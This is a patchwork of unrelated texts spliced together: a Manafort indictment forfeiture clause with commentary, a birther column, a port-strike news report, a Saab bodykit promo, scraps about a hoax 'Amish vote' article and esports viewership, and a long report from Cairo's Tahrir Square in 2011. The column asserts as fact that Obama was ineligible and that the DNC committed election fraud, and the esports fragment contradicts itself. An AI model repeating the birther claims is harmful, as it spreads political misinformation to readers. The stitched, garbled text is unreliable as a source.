52. Pursuant to Fed. R. Crim, P. 32.2, notice is hereby given to the defendants that the United States will seek forfeiture as part of any sentence in accordance with Title 18, United States Code, Sections 981(a)(1)(C) and 982(a)(1) and(a)(2), and Title 28, United States Code, Section 2461(c), in the event of the defendants’ convictions under Count Two of this Indictment.
As part of the pressure Mr. Mueller and his team are putting on Mr. Manafort, they are signaling in this indictment that if he is convicted of various charges, the government will seek to seize various properties and a life insurance policy linked to those charges — or any other assets he may have, if those are no longer available. This gives Mr. Manafort an additional incentive to cooperate as part of a plea deal that could allow his family to keep some of those assets.
The Mistake, The Evidence, Obama is NOT a constitutional president
The Theory is Now a Conspiracy And Facts Don't Lie
By J.B. Williams
-Please read update at bottom of article
Though we live in an era when all undesirable facts are often blindly labeled "conspiracy theories" by political operatives with an agenda at risk, a very real conspiracy unfolds every now and then.
While it is indeed true that not all theories are actual conspiracies, like when Hillary Clinton developed an imaginary "right-wing conspiracy" out to get her husband, when in fact, the semen stained dress provided all the necessary (but unfriendly) facts and a perfectly logical explanation for all of those nasty rumors--it is also true that some conspiracies are much more than just crackpot theory.
To be a bonafide conspiracy, two or more individuals must knowingly conspire, plot or plan an evil, unlawful, treacherous, or surreptitious act. In politics or law, an agreement by two or more persons to commit a crime, fraud, or other wrongful act, is a "conspiracy." Not in theory, but in reality.
Such is the case today!
A political national committee, the Chair of the Party convention, the Secretary of the Party, Party offices in each of fifty states, and maybe many--many more, have knowingly and wantonly defrauded the American election system and more than 300 million American citizens.
They plotted and planned an act of evil, unlawful, treacherous fraud in a blind quest for unbridled political power, and they hoped that you would never catch it. They almost got away with it too...
They snuck it past fifty state election commissions, congress, the US Supreme Court and Justice Department, the Federal Elections Commission and countless members of the Electoral College nationwide. Not a single member of the, as Limbaugh says, "drive-by media" caught it either, or if they did, they decided to become complicit for their own political reasons.
But as is always the case with liars, cheats and thieves, they slip up--make a silly mistake--overplay their hand--leave evidence lying around that they had forgotten about. And as with all chronic liars, they eventually get caught in their own web of lies.
Then, one day, someone stumbles into that evidence, and the house of cards comes crashing down around them. It's almost poetic...
The Mistake
Aware of the fact that Barack Hussein Obama does NOT meet Article II--Section I constitutional requirements for the office of President, what well-seasoned professional politician would be stupid enough to sign their name and stake their personal career upon certifying Obama as eligible?
Presidential and Vice Presidential candidates are nominated at their respective Party Conventions.
Believe it or not, each Party is assigned the duty of vetting and certifying the legal eligibility of their own candidates. I know, like asking the fox to guard the henhouse, right. But hey, we are talking about a country which still thinks there is a separation of powers between the High Court and the Executive branch, which seats that court by way of political appointment, confirmed by congress, which wants a piece of the judge and expects a few political favors too.
The Evidence
In this case, the Democrat Party was responsible for vetting and certifying Barack Hussein Obama as legally eligible to seek the Oval Office. The U.S. Constitution has only three very specific requirements for the job. The proper legal text used on the DNC Party "Official Certification of Nomination" document reads as follows, and I quote;
"THIS IS TO CERTIFY that at the National Convention of the Democrat Party of the United States of America, held in Denver, Colorado on August 25 though 28, 2008, the following were duly nominated as candidates of said Party for President and Vice President of the United States respectively and that the following candidates for President and Vice President of the United States are legally qualified to serve under the provisions of the United States Constitution."
Yes, I know.... there is a typo in there. Not my typo, it belongs to whoever prepared the official document at the DNC. Did you catch it?
The document is signed by Chair of the DNC Convention and Speaker of the House Nancy Pelosi, DNC Secretary Alice Travis Germond and Colorado Notary of Public Shalifa A. Williamson. It is dated August 28, 2008.
However, this document was never delivered to a single state DNC Office for state certification, and it was therefore, never presented to any state Election Commission as certification of these candidates, although I do have a copy of this notarized document myself.
Instead, a very similar document was delivered to fifty state DNC offices, which those offices certified to each of fifty state Election Commissions, who then date-stamped the document and stuck it in a file cabinet, and proceeded to place these "certified" candidates on the ballot.
The "Official Certification of Nomination" that was presented by the DNC in all fifty states for the 2008 Presidential election, in which Barack Hussein Obama became the new President of the United States, was almost identical, and it too was signed by Chair of the DNC Convention and Speaker of the House Nancy Pelosi, DNC Secretary Alice Travis Germond and Notary of Public Shalifa A. Williamson, dated August 28, 2008.
But this version of the document was missing the following text, and I quote;
"- and that the following candidates for President and Vice President of the United States are legally qualified to serve under the provisions of the United States Constitution."
The legal certification text on the DNC certified nomination document used for the DNC ticket was limited to, and I quote;
"THIS IS TO CERTIFY that at the National Convention of the Democrat Party of the United States of America, held in Denver, Colorado on August 25 though 28, 2008, the following were duly nominated as candidates of said Party for President and Vice President of the United States respectively:
Oops, another typo? The reference to Obama's constitutional eligibility was missing... An accidental omission?
The text certifying that Barack Hussein Obama was "legally qualified to serve under the provisions of the United States Constitution" had been removed from the document sent to the states. And yes, I have a copy of this version of the DNC Official Certification of Nomination letter too!
In fact, this version is in Election Commission files of all fifty state Election Commission offices, state DNC headquarters, complete with date stamps, matching signatures, even the same Notary of Public authentication, and absent the constitutional text.
Just in case you are wondering, the answer is yes. This version also includes the same typo present in the version not submitted by the DNC, but including the constitutional text, which means both documents have the same place of origin.
The individual at DNC headquarters who prepared this very important document was not only a poor typist... they were sloppy enough to leave both versions of the signed documents lying around.
Now this is the stuff real conspiracies are made of!
The Implications
Please, allow me to connect the dots here...
The DNC drafted, signed and notarized TWO slightly different versions of their Official Certification of Nomination documents, not one.
One of those documents had complete legal language, and one of them was missing the text concerning the constitutional eligibility of Barack Hussein Obama.
The version which is absent any certification of constitutional standing for the office of President is the version that was filed with every state in the country, and the one used by the DNC to elect Barack Obama President.
Oh, there is one more important document in this story.
The RNC "Official Certification of Nomination" for John McCain and Sarah Palin reads, and I quote:
"We do hereby certify that a national convention of Delegates representing the Republican Party of the United States, duly held and convened in the city of Saint Paul, State of Minnesota, on September 4, 2008, the following person, meeting the constitutional requirements for the Office of President of the United States, and the following person, meeting the constitutional requirements for the Office of Vice President of the Unites States, were nominated for such offices to be filled at the ensuing general election, November 4, 2008, viz;"
The certification of constitutional eligibility is there in the RNC Certification of Nomination presented to the state Election Commissions. It's there in the document which the DNC had prepared, signed and notarized, but did NOT deliver to the states.
But it is NOT there in the DNC Certification of Nomination that the DNC used to certify and elect Barack Hussein Obama President and Joseph Biden Vice President of the United States of America.
Last, the fact that TWO DNC Certifications exist, both signed, dated and notarized by the same individuals on the same day, means that a very real conspiracy to commit election fraud was underway, and since it took until six months after the election to uncover it, the conspiracy was indeed successful.
Are you still wondering why Barack Obama has spent nearly $1.5 million in taxpayer's funds to race Department of Justice lawyers around the country to stop all cases questioning Obama's eligibility before discovery can force Obama to open up his top secret life?
Now I realize that leftists, I mean liberals, no "progressives"--don't like getting all bogged down in minutia and nit-picky details like the Constitution, but this is actually very serious business here. We are talking about the top-down leadership of the ruling political Party knowingly and wantonly defrauding voters by way of playing monkey business with fraudulent election documents.
As Al Gore once said, the debate is OVER!
There is no honest debate on the matter anymore. Obama is NOT a constitutional president, which is to say, we do NOT have a constitutional federal administration at present and every anti-American policy of the last six months is also, BINGO!--Unconstitutional!
What is still in question however--does any court in America have the backbone to do what must be done?--And what do the American people do, if not one court in the nation has that kind of constitutional backbone today?
Obama's DOJ has thus far been successful in blocking the people's access to the courts by claiming that no American citizen, including another presidential candidate, has "proper standing" to demand proof of Obama's constitutional eligibility for the office he fraudulently holds.
To be very clear, the RNC nomination form filed with the states certifies that John McCain met all constitutional requirements for the Office of President. But the DNC nomination form filed with the states is absent any such language.
I know what I conclude from these facts, but what do you conclude from these facts?
More importantly, what will a court of law conclude? Will they ever even agree to hear the evidence?
--Update 09-11-09
First, thank you all for your comments. It is vital to the future of our beloved nation, that every American patriot awaken from apathy and engage in the defense of freedom, liberty and justice. The comments on this story demonstrate that this is happening, none too soon.
I want to respond to several comments regarding this story.
I was first made aware of these two documents when an anonymous reader sent them to me. The documents were posted here � Document #1 and here � Document #2 and I provided these proper links in my September 9, 2009 column Tennessee Grand Jury Joins DOJ in Obstructing Justice.
A poster has taken issue with a couple typos in this column. They make a good point, but more importantly, prove a very important point about this story in that process. Typos are more common than not, and that's why it is significant that the same typo appears in both versions of the DNC Certification document. Like my column typos, which spellchecker missed in both cases, they are a way of identifying the authenticity and place of origin of a document. I usually take great pains to cross all t's and dot all i's just to eliminate any opening to discredit a story strictly on the basis of a typo. In this case, the story is of such magnitude, that it was more important to get the word out than to wait for the normal editing process. My apologies for the typos, but they change nothing.
Upon seeing the two DNC documents posted, I contacted several state election offices and requested copies of the DNC and RNC Certifications filed and in all cases, received the DNC version absent the constitutional eligibility reference. Since the RNC document included the constitutional reference in all cases, and the DNC document did not in all cases, I made the assumption that the same documents were fax-blasted to all states. Some states date-stamp and some don't. I have NOT viewed all 50 state filings. I recommend that each of you contact your state Election Commission office and obtain a copy of the document filed in your state.
It has been posted here that Hawaii received a version of the DNC Certification that included the constitutional text. I have not verified this claim due to time constraints. However, assuming that the "constitutional" version of the document was filed in Hawaii or other states, this only further raises the question - "why two different documents?" Contrary to the assumption made by the Hawaii Cert poster, whether a state requires Article II--Section I text in its certification process or not, the U.S. Constitution requires that all candidates meet those requirements. Further, asserting that only some states require the language in the Certification document explains why the DNC included that text in those certs. But it does NOT explain why the DNC omitted that text from all others. Why two certs?
The good news is--the Hawaii Certification proves that BOTH documents are authentic and official, that all matching signatures on BOTH documents are authentic and that the DNC used BOTH when only the one with constitutional text was necessary. It adds complete credibility to the story as both documents appear to have been not only drafted, signed and notarized by the DNC, but filed differently in different locations. Why not just file one version including the constitutional text?
Last, this story confirms that some form of a conspiracy to mislead and ultimately defraud voters took place at the top of the Democrat Party. No story in recent history is of greater gravity. Yet, some prefer to focus their attention upon John McCain, who was not only a well known war hero from a well known US Military family of distinction, but a Senate confirmed Natural Born Citizen who was NOT elected President. Others prefer to focus attention on a typo missed by spellchecker, and still others hope to derail the story by asserting that Hawaii's doc changes the only question raised by this report--Why TWO documents? Why eliminate constitutional text from any of them?
This is a very typical strategy of the left, and its purpose is to deflect attention away from the real crisis at hand, and focus attention upon typos, other candidates not elected, and technicalities that change absolutely nothing about the story or the only question of concern, why two different certificates and why omit the reference to constitutional eligibility regarding a candidate who clearly does not meet those requirements?
I reported what I found in a clear factual manner, and even the comments seeking to discredit, further confirm the basis for the story. So, in the end, I must ask, what do you make of all evidence presented?
If I missed any typos here, I apologize!
NEWARK--More than 4,000 longshoremen unexpectedly walked off the job this morning, shutting down the port terminals both in New Jersey and New York, causing truck traffic to immediately start backing up throughout Port Newark and Port Elizabeth.
Port officials were taken by surprise by the labor action, and were unsure what precipitated it.
"We do know it's an illegal walk-off," said Phoebe Sorial, general counsel for the Waterfront Commission of New York Harbor. "We did not hear about it beforehand and we don't know why it's happening."
The New York Shipping Association, which represents the terminal operators, ocean carriers, and stevedores, was also in the dark.
"I can tell you we don't know why they walked off," said spokeswoman Beverly Fedorko. "It came as a surprise to everyone. We're trying to ascertain just what is going on."
She said the NYSA was not currently negotiating with the International Longshoremen's Association, which has been working under an existing collective bargaining agreement.
And even the ILA was uncertain about that sparked the wildcat strike. Union spokesman Jim McNamara said there is some anger by the rank-and-file over what they see as interference by the waterfront commission in their collective bargaining agreement, but added that he was also still looking into the matter.
"They see the commission as a threat to their livelihood, making life miserable for longshoremen," McNamara said. "They have gone way beyond their role of licensing to break down the gains of the ILA."
At the APM Terminal in New Jersey, a large group of dockworkers gathered outside the gates of the shipping company, but none would talk about why they had walked off the job at Port Elizabeth.
Late in the evening, the ILA put out a statement urging its members to return to work.
"We have heard your voices, we have heard your concerns, and we have taken action on your behalf," the union said in a statement. ""We urge all ILA members to return to work and will continue to report to you on the progress we make resolving all concerns of our hard working and dedicated ILA workforce."
The NYSA said it saw the statement, but declined to comment on it.
The port was effectively shot down after Port Authority of New York and New Jersey moved to stop incoming truck traffic, although police reported that local access roads throughout the morning were a standstill, with thousands of trucks idled. Officials said no ships were being unloaded.
"As the agency that oversees the largest port complex on the East Coast, we strongly urge the ILA members to return to work immediately and resolve their differences after they return," said the Port Authority in a statement. "In the meantime, Port Authority Police are actively working to ensure public safety for all of the stakeholders at the port."
The busiest port on the eastern seaboard, the combined terminals of New York Harbor at Port Newark, the Elizabeth-Port Authority Marine Terminal, the Howland Hook Marine Terminal, the Brooklyn-Port Authority Marine Terminal, the Red Hook Container Terminal, and the Port Jersey Port Authority Marine Terminal, handle more than 3.3 million cargo containers a year, moving $200 billion in goods.
As you might remember, the A-Zperformance has recently made a whole new aerodynamic kit for the Saab 9-3, in three versions – with three versions of the front bumper.
They have now improved this front bumper for Saab 9-3 with “Hirsch” style lower gril, and the front bumper is available with black ABS, honeycomb grill as well.
Here’s what two designers, Richard Revesz and Zsolt Tarnok, say on the final design of the Saab 9-3 Bodykit: “During the design process we tried to create our own style that matches to the SAAB design philosophy, carries the tipical sporty and elegant brand style, but definitely presents the racecars aggressive style which can distinguish it from any stock or other bumpers at first sight. Also featured among the primary concerns is to find the character, which can be integrated the new air flow developments discovered in the automotive industry. Our aim not to offer a very cool bumper only, to offer an very efficient tuning product as well.”
Horner told BuzzFeed News he doesn't identify as a Democrat or Republican, but he is definitely not a Trump fan, saying the Republican candidate would set America back decades. Horner said he takes great pleasure from the idea that some Trump supporters might have been convinced to stay home on election day because the Amish had already delivered the election to the Republican nominee.
"I definitely want to do my part," Horner said.
Horner's article about the Amish vote had generated more than 85,000 comments, likes, and shares on Facebook by Friday afternoon. According to Horner, it racked up about 750,000 page views in two days.
To put that in perspective, this year's Super Bowl, between the Baltimore Ravens and the San Francisco 49ers, drew 108 million viewers worldwide, three times more than the October League final. While that represented a decline of 3 million viewers from the 2012 Super Bowl, this year's LoL final drew four times as many worldwide viewers as it had the previous year. If viewership of the LoL championship continues to grow at this rate, it would surpass the Super Bowl in viewership next year. Given the game's staggering and growing popularity in Asia, that's not an impossibility.
The most violent phase of the Tahrir revolution came on February 2nd, when protesters decisively held the square against crowds loyal to the regime. In the afternoon, a pro-Mubarak crowd several thousand strong pushed its way onto the square, at one point charging on horses and camels. Through the afternoon, the protesters beat the pro-Mubarak crowd back to the perimeter by running at them and hurling stones. At dusk, I saw soldiers stationed at an entrance to the square by Qasr al Nil Bridge crawl inside their tanks, which were parked between the protesters and a large pro-Mubarak crowd, and secure the hatches. The tanks formed a front line as the pro-Mubarak crowd taunted the protesters. Suddenly, stones started flying back and forth. There are nine roads and numerous alleys that lead into Tahrir Square, and almost every point of access was under siege: it seemed an impossible space to defend. Yet, over the next several hours, I watched as the protesters held the square that they had fought to occupy five days before. [cartoon id="a15688"] The protesters quarried paving stones from the square and ripped sections of metal fencing from around a construction site, for use as shields. At times, the battle became entirely obscured in dust, and one could hear only the sound of stones plinking against the parked tanks. Burning wads of garbage skidded across the tarmac, leaving trails of flames, which the protesters tried to stamp out. At around eight o’clock, the protesters launched a thick volley of stones as covering fire for a vanguard that rushed out and chased the pro-Mubarak group around the curve of an access road and onto the street directly beneath my balcony. The pro-Mubarak group scattered, some taking cover in the entrance to a derelict building, emerging to lob burning missiles at the advancing protesters. During the next few hours, the pro-Mubarak group leaked away into the dark. The protesters quickly erected a barricade out of street signs and bits of metal fencing. Whenever a pro-Mubarak group came forward, the protesters banged on metal, to summon reinforcements from the heart of the square. At daybreak the next morning, the square was subdued, as if people were in disbelief at what had happened. I walked onto the square past the tanks, their paint chipped where the stones had hit them. An officer, tired and unshaven, was leaning out of the top hatch, reading the morning paper and talking on his cell phone. I asked one of the soldiers why they had not intervened the night before. “What could we do?” he said. “We’re not going to fire on people, after all. They were throwing Molotov cocktails at each other. One just happened to land on us.” He pointed at a scorch mark. “And what will happen today?” I asked him. “I hope it will be quieter, peaceful,” he said, as every soldier everywhere hopes each morning. “It’s our country and we should fear for it.” Around us, men were filling burlap sacks with paving chunks and ferrying them to the barricades, in case of new attacks. Others slept, curled up in flower beds and gutters. Many had bandaged heads or taped-up noses and were hobbling along or gingerly cradling arms held in slings. People had tied pieces of cardboard to their heads with string and were using polystyrene boxes or plastic paint buckets as helmets. At the north end of the square, by the Egyptian Museum, the battle had lasted all night and was still raging. I could see an arc of rocks rising beyond a barricade made of scrap metal and overturned burned cars. A knot of protesters came past, jostling and shouting; an officer in the security forces had been found. “Don’t hand him over! We should keep him!” one protester shouted. “No!” someone yelled back. “We’ll tie him to the fence!” The man was hurried along, and I noticed that the protesters were careful to shield him from the beating that others in the crowd wanted to give him. I started talking to a pharmacist who had been among the front-line medics tending to the wounded. (Pharmacists receive first-aid medical training as part of their studies.) His name was Sherif Omar and he was thirty years old, with the soft eyes and dark wavy hair of a matinée idol. His white coat was bloodstained. “I look like a butcher!” he said, and laughed. He had manned a mobile field station through the night, moving back and forth as the fighting ebbed and flowed. I asked him about numbers of wounded from the battle. “There are no statistics,” he said. “Hundreds, I can tell you. At around four or four-fifteen, our guys went on top of that bridge to get them off.” He pointed to the overpass behind the museum, which had been the last stronghold of the pro-Mubarak group. He had treated burns from Molotov cocktails and held in his arms two people who were killed by live ammunition. As we talked, a platoon of soldiers marched past. The crowd chanted, “The people and the Army are one hand!” The slogan had become an important tenet of the revolution. The protesters seemed to be trying to chant their way out of a paradox that threatened their efforts: they were calling for the overthrow of a regime that, since its beginnings, in 1952, had been dominated by the military establishment. As the soldiers passed by, Sherif was holding out a charred tear-gas cannister for me to see. He viewed it as evidence that many of the pro-Mubarak people were connected to the security services and had been drafted by the regime. He called them mercenaries, and said that some of those he had treated in his field hospital turned out to have police I.D.s and crisp Egyptian hundred-pound notes in their pockets. At that moment, General Hassan al-Roweny, the commander of the Army in Cairo, marched through the barricade surrounded by soldiers and military police in scarlet berets. He came over and began to upbraid Sherif, brusquely waving his hands. He said that the protesters should leave the square, and that all this chaos was the work of foreign forces conspiring to destabilize Egypt. Sherif scoffed at this idea, and Roweny went up to a wounded protester and ripped a bandage from his head, crying, “Look, it’s just a bruise!” I saw a patch of dried blood near the man’s hairline. Roweny moved on to another man, who had a wad of cotton bandaged to a wound on his scalp, and gave another sharp tug, but the bandage would not come off, because it was stuck with dried blood. Then something strange happened. Roweny caught the man in a strangling hug and kissed him forcefully on the forehead, as if the man were a recalcitrant son whom he simultaneously loved and despaired of. Afterward, Sherif wondered, “Why was he ripping off people’s bandages? We had to put them back on again!” I met Sherif often on the square. He told me that he was from Alexandria, and that seven or eight years ago, when he was still in college, he had decided to ignore politics. He had picked up a copy of Time and saw headlines on the Iraq War—President Bush, Israel and Palestine, terrorism. Then he realized that the magazine was from 1991. “I thought to myself, It’s the same news, it’s the same politics. It’s not going to change.” Now, sitting by a tent in the square, surrounded by hundreds of thousands of people demanding an end to Mubarak’s regime, he smiled ruefully at his former apathy. “Now I have an opinion. Now I am talking about politics.” For Sherif, the turning point had come on the Friday of Rage, when people marching to the square encountered riot police wielding batons and firing rubber bullets and tear gas. It was the first anti-regime demonstration he had been to. “Actually, I wasn’t for Mubarak leaving but for a correction of the system. I thought, Why are people being so radical?” But the police brutality that day convinced him that the regime had to go. “Everyone was gasping for air, and simultaneously they turned on the water hoses and beat us with batons. They were beating the shit out of people without even giving them a chance to retreat.” Sherif suffers from asthma, and he was choking. “I had been in the midst of tear gas for three or four hours. At some point, I couldn’t breathe or see where I was going. There was a guy in front of me who was in the same condition, and he said, ‘I think we’re going to die here today.’ I think everyone felt like that.” A former Egyptian Ambassador to Washington said, “It struck me that these kids now finally believe in the ownership of their country.”
In the days after the battle for the square, the Army deployed more soldiers, and secured several entrances to the square with concertina wire. It felt as if Cairo had been divided into two realities: inside the square and outside. Outside, the threat of beatings from pro-Mubarak bands lingered. News and rumors circulated that the security services had arrested several human-rights lawyers, and that activists and journalists were being detained, and having their equipment impounded, by the Army and security elements. Many people, including my translator, Mohamed El Dahshan, a journalist and dedicated Twitterer, were assaulted by vigilante groups. The groups had formed to guard their local streets at night when the police vanished after the Friday of Rage, and some of them now seemed to accept the government line that the crisis was the fault of foreign forces and people with laptops. Inside was the Republic of Tahrir, where the protesters had established a kind of revolutionary utopia. As you came through the barricades by the Qasr al Nil Bridge, a funnel of protesters cheered and clapped and chanted, “Welcome! Welcome to the free, who have joined the revolutionaries!” The scene was indescribably moving. There was no hierarchy or formal organization on the square, and yet lines of protesters guarded the barricades while others swept the garbage into neat piles and manned the checkpoints to search people for weapons. People brought food and water and medicine into the square and gave it out for free. “We are queuing up!” one activist who had named his tent the Freedom Motel told me, incredulous at the number of people flowing into the square. “When was the last time you saw an Egyptian queuing up?” I asked one young female volunteer in a floral head scarf if she was with any particular organization. “I am with no one,” she replied simply. “I am with the people.”__ “It’s getting more complicated by the hour,” Sherif told me at one point. “The solutions we required a week ago are no longer valid. The ceiling of democracy is getting higher.” The more the regime resisted the demands of the protesters, the bolder the demands grew. After three days of protest, Mubarak had addressed the nation, and appointed Omar Suleiman, the national-intelligence chief, as Vice-President. In a second address, Mubarak promised that he would not seek reëlection in the September Presidential elections. Several people told me that they thought his concession was adequate; they had waited thirty years, they could wait another six months or so. But the violence of February 2nd, which everyone assumed was state-sponsored, destroyed people’s trust in Presidential proclamations. Nabil Fahmy, the Egyptian Ambassador to Washington until 2008, could scarcely conceal his anger when he spoke of the mobs attacking protesters. I asked him if he could be certain that the violence had been organized. He snorted: perhaps there had been genuine Mubarak supporters among them, but he was dismayed by the all-too-convenient absence of any state intervention to stop the violence. Like many Egyptians, he seemed to be struggling to make sense of the speed of events that had shaken the assumptions of the country’s élite, and he worried that national values had been eroded. “It made me question what our generation and the older generation had done,” he said. He also told me about the moment when he had realized the strength and the resolution of the young activists who initiated the protests. Early in the protests, when the regime imposed a curfew, his son and a group of friends had been on the square all day and had come back to his apartment building, just two blocks away, to rest. He had invited them all to sleep there, but they were determined to go back to the square. He reminded them that there was a curfew. “They said, ‘Who applies this curfew?’ They said this very simply and confidently, and it struck me that these kids now finally believe in the ownership of their country.”
In the square, behind a rectangle of white tarpaulin that was hung against an apartment building to make a video screen, a travel agency had been given over to opposition-party officials who came in and out of the square. Various politicians addressed the crowd—including Ayman Noor, who ran against Mubarak in the Presidential race of 2005 and was then jailed for three years—but their speeches were bland and made little impact. Most people I talked to on the square said they did not support any party. At Friday prayer, ranks of men laid out improvised prayer mats: kaffiyehs, newspapers, an Egyptian flag, slogan placards. They wiped their hands in the dust of the destroyed paving stones, to clean them, because the Koran says that if there is no water and you are in the desert you can use sand to clean your hands before you pray. When they touched the ground with their foreheads, a little disk of dusty grit formed, stuck there by sweat. Many Egyptians are devout, but people in Tahrir tended to speculate that electoral support for the Muslim Brotherhood, the officially banned but semi-tolerated Islamist party, would be only between ten and twenty per cent. The Muslim Brotherhood had a strong, but certainly not a majority, presence on the square. “Our strategy was going to the event but not leading it,” said Dr. Essam El-Erian, a member of the Guidance Council of the Brotherhood, when I met him in the Brotherhood’s shabby headquarters, on the third floor of a nondescript apartment building. He explained that the Brotherhood had taken a passive position so that the government could not use the movement’s involvement as an excuse to crack down. Nevertheless, he and thirty-three other Muslim Brothers were arrested two days into the protests. El-Erian has been arrested several times during his career, and once spent eight years in jail. He laughed and said that this was his shortest-ever detention. On the night of Sunday, January 30th, as the Interior Ministry appeared to cease functioning, the prison gates were left open and he walked free. For decades, politics in the Middle East has been depicted as a choice between dictators and Islamists, and El-Erian was naturally at pains to dispel this assumption. He said that the Brotherhood would not field a candidate in the next Presidential election or contest every constituency in the parliamentary election, and spoke in vague terms of a hope that Egypt might show to the world a different style of democracy—“another moderate, tolerant model.” The Muslim Brothers I met on the square conveyed a similar message, but it was hard to know what this party—banned for more than half a century in Egypt and demonized abroad—might do if it had power. The Muslim Brotherhood has “a long-term vision of society, and it has been very consistent,” a Western diplomat told me. “Politics is just part of it.”
As the standoff continued, the protesters became entrenched and emboldened. People made a tent city out of concrete reinforcing rods and plastic sheeting; venders set up braziers for tea and hooked up yards of electrical cable to charge dozens of cell phones at a time; people rearranged the stockpiled stones to spell out anti-Mubarak slogans; new blankets were passed out. There was an abundance of homemade placards. Egyptians have a fine satirical sense; a man held up a sign that said “Leave Already, My Arms Are Tired.” But, after decades of political repression, some protesters seemed to have no idea of the sort of message most suited to being on a placard. Alongside catchy slogans were placards bearing long, bullet-pointed tracts, painstakingly written out—interminable manifestos of grievance and demands. [cartoon id="a15577"] “There is a psychological barrier of fear in revolution,” the novelist Alaa Al Aswany told me, adding that once the barrier is broken the process is “irreversible.” Aswany, like many on the square, had suffered police harassment. Despite an international literary reputation, he has never been published by the state publishing houses or allowed on Egyptian state television, and the owner of a café where he met with young writers each week had been threatened by state security. Aswany is also a practicing dentist, and I spoke with him in his surgery, close to Tahrir Square. “The regime can’t understand that people who were fearful and scared for thirty years are no longer fearful,” he said. He told me that protesters had been teasing him about the title of one of his books, “Why the Egyptian People Do Not Revolt,” saying that he should write a sequel and call it “How the Egyptian People Revolted.” He had addressed the crowds several times. “As a writer, I have written many, many times the words ‘the people,’ but it was for the first time in my life I felt what was the meaning of ‘the people.’ ” He told me that he had been very impressed. “They are very organized, very courageous, very civilized, very caring. We eat in the demonstration every day and no one knows exactly who has brought the food. It’s like a big family. I threw a packet of cigarettes on the ground, and a seventy-year-old lady picked it up and said, ‘Dr. Alaa, please take this and go and put it in the garbage, because we are building a new country and everything should be clean.’ ” I met an activist friend of Sherif’s named Ramy Shaath. Half Palestinian and half Egyptian, Shaath had studied war strategy at King’s College, London, and spent time in demonstrations in Lebanon and Palestine during the second intifada. His day job is as a management consultant, but he has amassed experience dealing with barricades and tear gas. “It’s a hobby,” he said, smiling. Shaath’s hobby had made him well known to the authorities. He told me that, on the Friday of Rage, when the police were overwhelmed, he had been tempted to run into the Mogamma and retrieve the security file with his name on it. “I even know which room it’s in—second floor, last on the left!” On the Internet, Shaath and other activists gathered ideas for countering riot police. He enumerated a few improvised tactics: “How to use vinegar and onions against tear gas. Things like, Don’t use water, use Coke to wipe your eyes.” Referring to the protests in Tunisia which had recently succeeded in deposing the President there, he added, “We got a lot of ideas from Tunisia because a lot of Tunisians were contributing to the blogs.” For the first week of the protests, he had stayed at a different place every night and continually changed his cell-phone numbers. “A few days ago, I stopped,” he told me. He spread his hands out in victorious amusement at such a turn of events. “End of story. Game over. The fear is over!” I went to see Amre Moussa, the secretary-general of the Arab League and a former foreign minister of Egypt. Together with Nabil Fahmy and other notables, he had joined an informal committee of “wise men” who wanted to help bring the demands of the youth and the people on the square to Vice-President Suleiman. Seventy-four years old, Moussa is vigorous, erudite, and charming. On the square, I had often heard him mentioned as a good man to lead the country. People respected him as an independent elder statesman. Moussa told me, “The square became a place that if you don’t go you have missed a historical moment.” He believed that the regime had initially tried to ride out the storm: “Perhaps some thought that those demonstrators would get tired and fade day after day, week after week, but everyone saw that yesterday there were more people than ever since it began.” Now their efforts at reform were no longer a luxury but had become a “question of necessity.”
In the days after the clashes, the Army tried to exert control. General Roweny could be seen striding up the road toward the Egyptian Museum, behind which the Army had made an impromptu headquarters. Sherif told me that the day after Roweny was tearing off bandages he returned with an Egyptian news crew and again confronted Sherif and his band of medics. He told them to go home and “end this silly business.” Sherif replied, “You call the blood of Egyptians silly business!” Roweny told Sherif that the Army was resolved to clear the square, because it wanted to resume normal traffic circulation the next day. “We can’t use violence, but we can be very tough with people,” he warned. Sherif asked what he meant by tough. “Like from a father to a child,” Roweny replied, smiling and answering questions in front of the TV cameras. Afterward, he addressed the crowds in the square, telling them, “You all have the right to express yourselves, but please save what is left of Egypt.” The crowd, cheering, responded that Hosni Mubarak should leave. Roweny abandoned his speech, saying, “I will not speak amid such chants.” At one point, the Army tried to push a line of tanks farther into the square, near the Egyptian Museum. But the protesters staged a sit-in under the tanks. I sat down among them and talked to a man whose body was scaly with psoriasis. He came from a small village not far from Cairo and worked in a lowly capacity for the local municipality. He said that his salary of seven hundred Egyptian pounds (around a hundred and twenty dollars) was not enough to feed his family and pay for treatment for his skin complaint. He tried to explain the situation: “The Army is trying to tighten the space and get people farther into the square.” When I returned the next day, the protesters had settled in, storing sandwiches and blankets in the niches between the tank wheels and tracks, sleeping under the turrets, and praying five times a day in neat rows. When the tanks had first arrived, the protesters had eyed them like mysterious beasts; they now seemed tamed. Parents would stand their children on top of them and take photographs. The soldiers pretended not to mind this domestication. The Army, though ostensibly neutral, was obviously invested in the status quo. After Mubarak fired most of his Cabinet, in the first days of the protests, the military establishment found itself in control of the key posts of government. Suleiman, the former head of military intelligence, was Vice-President, and Ahmed Shafik, a former head of the Air Force (as Mubarak himself was), became the new Prime Minister. Meanwhile, Field Marshal Mohamed Hussein Tantawi remained in the position he had held for almost twenty years, Minister of Defense and Military Production. Initially, this triumvirate seemed to form a Praetorian guard around the regime; they were all military men, all in or nearing their seventies, and all close to Mubarak. At the time, the Western diplomat told me that there were no significant differences between Suleiman and his President; that the regime thought it could ride the protests out; and that Mubarak would hold fast to the idea that the protests were the work of foreign machination—“a rock-solid point of view that we have seen from him for many years.” Tantawi, the diplomat hoped, would continue to cleave to the Army’s policy of nonviolence: “Yes, he’s a product of the regime and he’s perfectly happy to arrest people, but he’s not going to shoot them.” It now seems likely that there were always differences between the military establishment and the most loyal elements of the regime—Mubarak’s inner circle, the Interior Ministry and the police, N.D.P. strongmen, and the domestic security services. It is perhaps for this reason that, in the days that followed, the pronouncements of the military triumvirate, like the mercurial behavior of General Roweny on the square, seemed to veer between conciliation and impatient threats. After the clashes with pro-Mubarak crowds, Prime Minister Shafik apologized for the violence on national TV, and there was an effort at dialogue between the Vice-President and some of the opposition groups. But, only a few days later, Suleiman seemed to threaten a martial crackdown. At the time, it was hard to see where the balance of power lay between the regime and the security and military establishments, but throughout the protests in Cairo there were two constants that proved decisive: the Army never fired on the protesters, and it never prevented people from coming onto the square. [cartoon id="a15620"] The military establishment had never liked Mubarak’s son Gamal, widely despised as being at the center of a group of cronies who cashed in on liberal economic reforms of the past decade. In recent years, senior officers had expressed discomfort with his implicit anointment as heir. When Mubarak appointed Suleiman as Vice-President, traditionally the position occupied by a successor, they may have been satisfied. But the crowds on the square were not, and, in the days that followed, they managed, through their numbers, and by continually reiterating their trust in the Army, to coöpt the military as a reluctant revolutionary partner.
